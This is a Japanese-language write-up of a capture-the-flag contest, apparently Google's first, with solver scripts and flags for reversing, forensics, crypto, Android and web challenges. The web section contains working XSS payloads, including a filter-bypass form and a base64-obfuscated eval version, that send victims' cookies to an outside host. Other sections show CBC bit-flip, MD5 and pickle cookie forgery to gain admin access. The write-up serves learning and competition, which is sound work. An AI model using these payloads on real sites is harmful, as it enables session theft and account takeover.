たぶんGoogle初のCTF。ぼっちチームsuperflipは955点で107位。
Googleらしく全体的にクオリティが高かった気がする。SSLが当たり前になっていてすごい。1日しか参加できなかったから仕方が無いが、もう少し解きたかった。
Reverse Engineering
Audio Visual Receiver code
u
, d
, l
, r
, a
, b
を入力するたびに文字に応じてstate
の値が変わっていく。その都度、check^=state
が実行されて、a
を入力したときにはcheck
の値が確認される。30文字になったら、これまでのstate
の値と埋め込まれていた値のxorが取られ、フラグとして出力される。6通りで全探索は厳しそうだが、check
の値の確認とフラグがASCII文字列になるという制約があるので、計算できる。
def up(s): return (s*3)&0xff
def down(s): return (((s>>1<<3)&0xff)-(s>>1))&0xff
def left(s): return (s<<1)&0xff
def right(s): return (s>>3|s<<5)&0xff
def a(s): return (s<<4|s>>4)&0xff
def b(s): return s^0xff
op = [up, down, left, right, a, b]
A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}_-"
C = [0x46, 0x5B, 0x6B, 0xE1, 0x6F, 0x5E, 0xA3, 0xD3, 0xA2, 0x1C, 0x82, 0xED, 0x62, 0x24, 0x67, 0x71, 0xDD, 0x6D, 0xF3, 0x20, 0x83, 0x8D, 0xCA, 0x3E, 0x33, 0xC8, 0x75, 0x5A, 0x68, 0x87]
D = ["x"]*len(C)
Cross = [0x25, 0x68, 0xef]
def BT(P, state, check, depth, maxdepth, cross):
D[depth] = chr(C[depth]^state)
if D[depth] not in A:
return
if depth==maxdepth:
if cross==2:
print "".join(D)
return
for x in [0, 1, 2, 3, 4, 5]:
if x==4 and check^state != Cross[cross]:
continue
BT(P+[x], op[x](state), 0 if x==4 else check^state, depth+1, maxdepth, cross+1 if x==4 else cross)
BT([], 5, 0, 0, 0x1d, 0)
これで、候補がいくつか出てくるので、フラグっぽいものを選んだ。
CTF{the_3rd_time_is_the_charm}
Forensics
For2
USBの通信のpcap。各パケットで、0xf0から0x10くらいまでの間で変化している値があるので、マウスか何かの差分だと当たりをつけてプロットした。そのままでは線がゴチャゴチャして見づらかったが、隣に0と1に変化する値があってこれがマウスが押されているかどうからしいので、1の場所のみをプロットしたら答えが見えた。
import struct
d = open("capture.pcapng", "rb").read()
x, y = 0, 0
for p in range(0x195c, len(d), 0x40):
f, dx, dy = struct.unpack("bbb", d[p+0x1b:p+0x1e])
x += dx
y += dy
if f:
print "%d\t%s"%(x, y)
tHE
は線が繋がっていて読み取りづらいし、大文字小文字は分かりづらいし、ひどい。
CTF{tHE_cAT_iS_the_cULpRiT}
In Recorded Conversation
IRCの通信の様子。WiresharkでFollow TCP Streamした。
CTF{some_leaks_are_good_leaks_}
Crypto
Eucalypt Forest
CBCモードで暗号化したセッション情報とIVをCookieに書くことにしたらしい。IVのビットを反転すれば、平文のビットも反転する。cdmin
でログインしたら、Cookieは、5a71adf6a37544a1dd6f08aa994aa1300780f897e5a67b52c70c38a23e1bec7032cac248ddc20b88737047d70b1399b9
となった。c
にあたる部分の下から2ビット目を反転させればadmin
になる。
{ " u s e r n a m e " : " c d m i n " }
5a71adf6a37544a1dd6f08aa994aa1300780f897e5a67b52c70c38a23e1bec7032cac248ddc20b88737047d70b1399b9
^ここ
5a71adf6a37544a1dd6f08aa994aa3300780f897e5a67b52c70c38a23e1bec7032cac248ddc20b88737047d70b1399b9
{ " u s e r n a m e " : " a d m i n " }
CTF{lettuce.3njoy.our.f00d.puns}
Mobile
Ill Intentions
Androidアプリ。特定のインテントを送るとブロードキャストでフラグが返ってくるらしい。Androidアプリを書くのが面倒だったので、am
コマンドでインテントを送った。
adb shell am start -n com.example.hellojni/com.example.application.IsThisTheRealOne
ブロードキャストの受信はできないけれど、この時点で端末のメモリ中にフラグの値が存在するはずなので、エミュレータのメモリをダンプして検索した。
CTF{IDontHaveABadjokeSorry}
Can you repo it?
5点問題。Ill Intentionsの作者はパブリックリポジトリがどうこうと書いてある。aapt.exe d strings illintentions.apk
で文字列をダンプすると、l33tdev42
という文字列が出てくる。文字列と識別子の対応を取る方法が分からないけど、resources.arsc
の中にはgit_user
という文字列もある。この人のGitHubを見に行くと、間違って追加したパスワードを消していた(ノ∀`)アチャー
ctf{TheHairCutTookALoadOffMyMind}
Web
Wallowing Wallabies - Part One
最初はどこから手を付けて良いのか分からなかったが、robots.txtにURLが書いてある。
XSSする問題。<script src="
を含む文字列を書けと言われたので、<script src="http://sanya.sweetduet.info/tmp/hoge.js"></script>
と書いた。hoge.jsは、
location.href="http://sanya.sweetduet.info/tmp/hoge.js?"+document.cookie;
サーバーのアクセスログを見て、Cookieを設定して、robots.txtの他のURLにアクセスしたらフラグが表示された。
CTF{feeling_robbed_of_your_cookies}
Wallowing Wallabies - Part Two
第2弾。<script>~</script>
は**ANTI**HACKER**
に置換されてしまう。それならばと、<img src=# onerror='~'>
と書いたが、<img **ANTI**HACKER**# **ANTI**HACKER**'~'>
になってしまった。<input autofocus onfocus='~'>
はそのまま書き込めるが、相手のブラウザで動かない模様。
**ANTI**HACKER**#
と=
まで消えているのが気になって、
<img src =# onerror ='location.href="http://sanya.sweetduet.info/tmp/hoge.js?"+document.cookie;'>
とスーペースを入れたら通った。
CTF{strict_contextual_autoescaping_to_solve_your_xss_woes}
Ernst Echidna
ユーザー登録するとmd5-hash
というCookieが設定される、md5(admin)
を設定するだけ。
CTF{renaming-a-bunch-of-levels-sure-is-annoying}
Wallowing Wallabies - Part Three
XSS第3弾。素直にスクリプトが書けるかと思いきや、.
が消える。
<script>eval(atob("bG9jYXRpb24uaHJlZj0iaHR0cDovL3NhbnlhLnN3ZWV0ZHVldC5pbmZvL3RtcC9ob2dlLmpzPyIrZG9jdW1lbnQuY29va2llOw=="))</script>
CTF{intents_is_the_INTENTed_way_to_solve_some_an_android_level}
Spotted Quoll
obsoletePickle
というCookieが設定される。Pythonのシリアライズ。書き換えれば良い。
>>> x = pickle.loads("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu".decode("base64"))
>>> x
{'python': 'pickles', 'subtle': 'hint', 'user': None}
>>> x["user"]="admin"
>>> print pickle.dumps(x).encode("base64")
KGRwMApTJ3B5dGhvbicKcDEKUydwaWNrbGVzJwpwMgpzUydzdWJ0bGUnCnAzClMnaGludCcKcDQKc1MndXNlcicKcDUKUydhZG1pbicKcDYKcy4=
Your flag is CTF{but_wait,theres_more.if_you_call}
Networking
Opabina Regalis - Token Fetch
Protocol Buffers。これを使うと異なる言語間で共通のバイナリフォーマットを扱えるらしい。XMLやjSONと違ってバイナリなのでサイズが大きくならない。
定義をexchange.proto
というファイル名で保存して、protoc.exe exchange.proto --python_out .
でPython用のファイルが出力される。
from exchange_pb2 import Exchange
e = Exchange()
req = e.request
req.ver = Exchange.GET
req.uri = "/token"
header = req.headers.add()
header.key = "Accept-Encoding"
header.value = "blah"
from socket import *
from struct import *
from ssl import *
s = wrap_socket(socket(AF_INET, SOCK_STREAM))
s.connect(("ssl-added-and-removed-here.ctfcompetition.com", 1876))
d = e.SerializeToString()
print repr(d)
s.send(pack("<I", len(d)))
s.send(d)
l = unpack("<I", s.recv(4))[0]
d = s.recv(l)
print repr(d)
こんな感じで使う。結果が返ってこなくて、しばらく悩んだが。SSLで接続する必要があったからだった。ssl-added-and-removed-here
の意味が分かっていなかった。
/not-token
にリダイレクトされて、(なぜか一度切断するとダメなので、同一の通信で)/not-token
にアクセスすると「これがトークンだ。Server: opabina-regalis.go
」と言われ、それを付けると/token
を見ろと言われるのでアクセスするとフラグが手に入る。
CTF{WhyDidTheTomatoBlush...ItSawTheSaladDressing}
これが終了45分前(だと思っていた時刻)で、「1000点突破した(・∀・)」と思ってサブミットしたら、「もうコンテストは終了してるよ」と言われた。コンテストの時刻が太平洋標準時で書かれていたけど、夏時間を考えていなかった。つらい。